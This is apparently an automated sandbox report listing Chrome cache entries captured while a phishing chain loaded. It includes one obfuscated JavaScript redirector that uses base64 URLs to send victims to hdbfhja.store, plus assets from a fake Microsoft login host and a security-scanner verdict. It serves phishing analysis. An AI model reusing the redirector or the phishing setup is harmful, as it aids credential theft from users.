Preview:	...........k{.F.0.}...gF.L."..eR..v.y.O....g...............~...@....f<...F./...u...;............x.y.C...y...sx.....^=}.....N.W.I.Y$.....".w....$..\|..a...+.7O.eg.gW..2...8..2)J..<^f.:.4..;....<}.....ZK.......5..,;iV&Q...9......;U:....$....DyVd....Q...N......N..".;.,//.8...X..ZP7......&shpA...a.I.C\U0i.&K..}m..1..9.N.u....^.'I/:......r...a^Ee.f..oq..e'..y..U..;...T(...<L..;X.."..8-}.^L.._w.....f.w..V.x.kK..K../.A..[....oE....G..ao0...\........Qv.7..eX..70.....\|.s.}.#...:..t...$.}=....s..g.}Q..........SO.....p.%..v..\|.Fo.. ..,e.......=;;..7....E.F8+7.K?.n.y'.rw.........x~...=?.?...z~.?....<...(H./.....V.....yx.?.O.>l...E..c]..n.?..>......%<.....?....w........../.2.^...d........1b...4~.)\W....k-.n.0..._..8....qZ..^...D=...~..w...^g.........*.r.......d.O............a....R.)O.[v...C......2.....s..y...o6...6...z}8d....e<+..y.cs....X...v.O...p.....3.v.~D..IAo.<.....,H..9.xx....h.....B\.f.a.&..V...no"MJ.R...6...Y.....F<...9....s`..Q...X

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.6978458230844122
Encrypted:	false
SSDEEP:	3:jAbukMn:jP
MD5:	6AAB5444A217195068E4B25509BC0C50
SHA1:	7B22EAF7EAA9B7E1F664A0632D3894D406FE7933
SHA-256:	FC5525D427BFA27792D3A87411BE241C047D07F07C18E2FC36BF00B1C2E33D07
SHA-512:	AA5F66638B142B5E6D1D008F2934530C7AAD2F7F19128CA24609825D0DACFFD25A77591BFD7FB1D225BE2FA77CABCE837E0741326C1AC622C244D51E6FAFB303
Malicious:	false
Reputation:	low
URL:	https://hdbfhja.store/favicon.ico
Preview:	<h1>Access Denied</h1>

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4962)
Category:	downloaded
Size (bytes):	5010
Entropy (8bit):	5.3247438309708635
Encrypted:	false
SSDEEP:	96:t73pKmDZxs9Iwbfln62gb0ZZRiiB4hA/27A3hGj60nV:ZsCZe9IwLlnRgb0HUCy7+fk
MD5:	49864A8E125D378BCB2C452E5F949AB9
SHA1:	16813CF45B19A19293AE85ECC3D7E6E18F95E75C
SHA-256:	0ED4CE10806A4CFFBC0A283BEF8AD076EDF2D070A3F72979F825595790966EEE
SHA-512:	B375DFE76BDB7DC954CC68A451EE7AA166709A0735970DCFAA2B60EEEA3C7C83C1040288D96318131716A3B573DF2D1BD1A0803115784BD6E428F7EF2C97975A
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/js/main.fbcc4ef1.chunk.js
Preview:	(this["webpackJsonpvp-webapp-clicksmart"]=this["webpackJsonpvp-webapp-clicksmart"]\|\|[]).push([[0],{134:function(n,t,e){"use strict";function c(n){window.location.href=n}e.d(t,"a",(function(){return c})),e.d(t,"b",(function(){return r})),e.d(t,"c",(function(){return s}));var o=e(0),a=e(97);function r(n,t){Object(o.useEffect)((function(){!function(n,t){var e=a.a.t("URL Protection"),c=a.a.t("VIPRE Email Security");document.title="".concat(null!==n&&void 0!==n?n:e," \| ").concat(null!==t&&void 0!==t?t:c)}(n,t)}),[n,t])}function s(n,t){var e=Object(o.useRef)(),c=Object(o.useRef)((function(){}));return Object(o.useEffect)((function(){e.current=n}),[n]),Object(o.useEffect)((function(){if(null!==t){var n=setInterval((function(){e.current&&e.current()}),t),o=function(){clearInterval(n)};return c.current=o,o}}),[t]),{clear:c.current}}},138:function(n,t,e){"use strict";var c;e.d(t,"a",(function(){return c})),function(n){n.INFO="INFO",n.WARNING="WARNING",n.DANGER="DANGER"}(c\|\|(c={}))},207:function(

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	232394
Entropy (8bit):	5.54543362321178
Encrypted:	false
SSDEEP:	1536:yldzLx/ivZfjbOv/LBbLeXeKEXK81KKVKKdKbSK0cKcyKf75DMkvqBCWcDAPf4bT:Ux/ivZfjbOv/LBbLMTq9cDw4bLl1We/
MD5:	AF8D946B64D139A380CF3A1C27BDBEB0
SHA1:	C76845B6FFEAF14450795C550260EB618ABD60AB
SHA-256:	37619B16288166CC76403F0B7DF6586349B2D5628DE00D5850C815D019B17904
SHA-512:	C5CFB514F993310676E834C8A5477576BD57C82A8665387F9909BA0D4C3C2DE693E738ACAA74E7B4CA20894EA2FEEA5CF9A2428767D03FE1DE9C84538FDC3EE9
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7544.41/resources/styles/0/boot.worldwide.mouse.css
Preview:	.feedbackList{-webkit-animation-duration:.17s;-moz-animation-duration:.17s;animation-duration:.17s;-webkit-animation-name:feedbackListFrames;-moz-animation-name:feedbackListFrames;animation-name:feedbackListFrames;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-webkit-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@-moz-keyframes feedbackListFrames{from{-moz-transform:scale(1,1);transform:scale(1,1);-moz-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-moz-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1440x1018, components 3
Category:	dropped
Size (bytes):	140512
Entropy (8bit):	7.936230995454499
Encrypted:	false
SSDEEP:	3072:PbR0H6rlco6GbAVySoR/NSJqhfl63gq26Pd5DQUHTklE/Tm+D9:DR0KvbAcSxufwV5rHTk+/l9
MD5:	41DD29DDD14473A2B95F910C8D817473
SHA1:	C241CD5A158E257F6ADBC927B349886497561EDD
SHA-256:	126308450DE5137A72687784E6B562811E404A3CF7EF62CF5E7A5986555A5E38
SHA-512:	C2FC58D71F0689343FC6E46CDE73854ACC9AF50FA1F9A85DB0BF4D3AE16680C922226CCA45414E262DBAC9FAB1D78FC017D3A4EEBEB7AD5DC6C54F5F0A4AB75A
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........................................................................................{.....................................................................(......@....................@........(................................(.......@..P.... .......... ........... .....................................QD...@...@.. .........P..............................................AP...@........... ........... .(.......(.@................................AQU..P,........@.....@..@....@..........!HR....................@.....P........J..-..(Ah.P................$......................@........T@...........(...@...J..l.YPZ ......................@..P ..............................@.@. .........J..,...(P..h"..P... .. .@...@.............@.......................J......@.....`.T.QeKD..B.D........(......(X...D..`.........(........................(

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	570
Entropy (8bit):	5.16235861212567
Encrypted:	false
SSDEEP:	12:sqJmrYSqzu3UdC74VaO4pHa0JI+xn82CwoBa0Jzb:TDBzSUPVaO4dKO81ZdJzb
MD5:	598D2C4A050C57305943C57804E5B6C5
SHA1:	5BB7DE93DCE3F60C3A8568C9D5912112601DE876
SHA-256:	3E7464BC7450EAA6A0D4BCF08DF16580498BF0270C807D642B9CDE6506C29650
SHA-512:	D4338F85BDBEE18C3FD7CF4FC424C88FC3392D3C171735511265ACF33FACD0F56AC9570FB56C1294AE3E87CAD923007C5C0B119648E9D54472778580662E678A
Malicious:	false
Reputation:	low
URL:	https://greefrunners.co.za/
Preview:	<script type="text/javascript">. var firstBase64Url = "aHR0cHM6Ly9mYWNlYm9vay5jb20=";. var secondBase64Url = "aHR0cHM6Ly9oZGJmaGphLnN0b3JlLz94ZXV4dXdjZyZxcmM=";.. // Load the first URL for a few seconds. setTimeout(function() {. window.open(atob(firstBase64Url), '_blank');. }, 1000); // 2000 milliseconds = 2 seconds.. // After the specified time, load the second URL. setTimeout(function() {. window.location.href = atob(secondBase64Url) + "" + window.location.hash.substr(1);. }, 2000); // 2000 milliseconds = 2 seconds. </script>

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42565)
Category:	downloaded
Size (bytes):	42566
Entropy (8bit):	5.373717288910203
Encrypted:	false
SSDEEP:	768:rC9/MTwHupl8tSiWSqEnPyIQvSFdREde/M+oGgeIHgTPUsZASy50JHW4mH19cWw:h8Hupl8tSneyIQajOGg4ww
MD5:	A5B92920E25651D2058F4982A108347B
SHA1:	CAEEADD68D38FDB681C52006C68880ABC2E8A1A6
SHA-256:	49A5ABEDF03EB8AD9A66ECA7C5CCB8E59A440E06958E1E7B71D078F494178DC5
SHA-512:	94B23A3706A8E899E3F06B531B4F08D7924580EB7DB63954B3EC1A95F15ADD948F227D59D3AE05E111087EB8499798E710D08B74FF33D6F832BB5491CB7B21E9
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/ce7818f50e39/api.js
Preview:	"use strict";(function(){function bt(e,r,t,o,l,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,l)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,l){var s=e.apply(r,t);function m(h){bt(s,o,l,m,b,"next",h)}function b(h){bt(s,o,l,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(l){return Object.getOwnPropertyDescriptor(t,l).enumerable}))),o.forEach(function(l){Ie(e,l,t[l])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7544.41/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113084
Category:	downloaded
Size (bytes):	20314
Entropy (8bit):	7.979540464295058
Encrypted:	false
SSDEEP:	384:ekqQ8rNFEhCgMyL2iww6oIR8mWG+Pu9Z5IM6mxqrghTvUty7T9Q:9CGEiL/w7R8DW9Z5B6AasTv37T9Q
MD5:	92A840DC3D177339DAE03FEDF22A22B5
SHA1:	C1C9A6E6442388D07A9D9D72C12DA25094D6920F
SHA-256:	4A986BA8875F22A0EABC356112A6790F90E114ADB72EAEC4632E03812EC1EDE4
SHA-512:	98C705395DD249501D8069A03E0068BC9CCF4F2D139BEC63A00564C69CD21C05CB25CF56BA7B40822963737989D5048AD310E20D6022E84346C982CFCEF79E11
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css
Preview:	...........}ks.6.....\.R;.J.H=-WR;..&>g^53.G.R[.DY<C..$e.WG..... )...{+'g...l............bw_f7.:x..<x.-.V5)/wE..Y...gy.0.(.-o.e.\|..._..I.....?<{.!x...W..._..^..p..E..'..Y...<.....]..6(. ..D.....Y.......:.ve.?..!..\|t...].+.......a.......\|.P...u.H.d.d.r.c[..~.L..n.-.}e.H3...r..^..iP.u..z.....)..Z.jx..C'......u..{.C...N.o.m~..F(b..f.....h..O.....6....kr.......n2m M$.R..R..i{.~.....n.dKY..#.Kn.4..G...O..l.#.a=..iU..].S.2.wY..O.\|...Z.A....].uU.._%U.<...pp..u=.....C.R..S.....0...A<......&...W..'o.T.."..jO..^+.....DiW.b..7i..7..........lKe.0.~B0.....zQu#...YB.,.{.&.6..G.6..._...J.i.?.LS$( .^.{..u.-.0....K....M&j..s.yB..+....^.)...7e.....]..eFI_.kRX.B......D[.4......+.u=>....R.`QEK...R..d...*S.. ,c5RKBK(......][..eF{T.....6...".....Uk:..S.0Ro.}B.dwJZ}U..S.F.....&.&.~\|......{..Ep.>x..._....}p..=.}...v...7?}...g..1&.......}...^...o.x.>x...../.^....._.........w.v./.........BA...{J..w..$?.}w....?zO.r..5...7.gl..z...g.?.{....R.......yGj

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	https://greefrunners.co.za/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	12298
Entropy (8bit):	6.0567318700239685
Encrypted:	false
SSDEEP:	384:fVJCteXO07nn7mVIuJLG5hX9ZEdkgD54waz1kwaz1N:tJCtGOOAIuxsX9ZGT540N
MD5:	4F3D4A152BAEC62995F097B0ACFE8EFE
SHA1:	5841CCAE3DA82E62903D41F04E140F9F939EA236
SHA-256:	0A1BB3D405ABAEDFDB5857DF12FFD44845F86E6A292492539C5088EDE73FC422
SHA-512:	F02B8698655849761296B50746E7024CA8EF0F435A87C5BAA7B3F57F80BA66CB3D6F89BB26586BAD45EF7BF64C95DD425B6164DDFC9ED7DAE880394618746FEE
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/api/v1/dl/202405074fde795c4f0cede1cd8b56b588eb2fce/result?u=f8ce8825-0c9f-11ef-b1fe-0242ac11000c&d=4%7Cmail%2F90%2F1714917600%2F1s3cWM-0007Zq-3j%7Cin2c%7C57e1b682%7C28613012%7C14303582%7C663792961556323F60CA7719E24FBD2A&m=1s3cWM-0007Zq-3j&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm4sore6a1g%2F9-90e40-bd3-f16f8-193b04100e5di%2F5%2FKvEDrF30gZAMUpE-A4D1AQEAGZtaA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2fg52ueerFrornnz.c.es25a%25%25F%25222d22CrRei%252oOecstintp7%25%252%25A%25B233%2522n2%25A522%25ul1C%252l2u%25%252lAnl23d%25%257gD%26iD7U%3DesLtFOt8q8bqVJ1W8k02PQlIwVO4c2lKft5o%25BBn7e%25G1kRCes3DVcrt%26eaier8n%3D5so27754bdd9b3bbaf4343bee51eb8d6&s=WdYCVSQ9Sc0_DEjTfgsDBAJMLLE
Preview:	{"verdict":1,"original_url":"https://public-usa.mkt.dynamics.com/api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D\u0026digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D\u0026secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee","landing_url":"https://hdbfhja.store/?xeuxuwcg=2eab9b2000b208b32801acdeeabd3bb04be4a2e68893c959867ce3d05f0980277f9c29725cbe91175cead03954f418e3b7f74adc397f602e30b041b6a3cc23e1\u0026qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865","features":["Has borderless iframe","Use set interval","Use set timeout"],"cus_prefs":{"branding_logo":"iVBORw0KGgoAAAANSUhEUgAAAVgAAABACAYAAABfnm8CAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAALiMAAC4jAXilP3YAABzHSURBVHhe7Z0HmBzFlce1S+YMIotgjEgiZxtjjMkcyZyOHE0QRzyCAIE4MBYgskmSQCST4e4wQcKIw8gEE4+cgwCBwYgMEkggIUsC//7db/abmZ2ZrqruSUv/vu9tVfXUexW6t

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
